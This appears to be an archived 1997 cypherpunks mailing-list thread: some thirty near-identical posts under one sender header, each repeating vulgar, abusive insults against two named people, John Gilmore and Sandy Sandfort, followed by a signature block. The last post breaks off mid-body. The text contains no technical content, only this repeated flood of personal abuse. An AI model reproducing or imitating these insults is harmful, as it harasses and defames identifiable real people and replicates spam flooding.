From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:39:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771134.522952.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:08:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770984.521667.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:41:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771108.522750.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:31:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771028.522052.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:15:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771015.521934.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:58:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771015.521933.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:09:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771057.522303.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:22:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771098.522656.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:44:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771020.521970.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:25:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771058.522306.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770980.521637.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:18:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771125.522881.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:17:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771092.522579.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:01:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770982.521657.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771129.522918.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:52:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770971.521504.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:49:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771160.523197.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:00:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771071.522417.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771058.522301.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:27:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771018.521953.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:48:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771081.522500.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:13:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771078.522469.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:58:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771006.521847.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:41:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771012.521897.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771103.522707.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:02:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771069.522402.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:36:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771003.521829.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771043.522197.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:49:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771050.522248.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:13:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771099.522654.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770999.521802.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
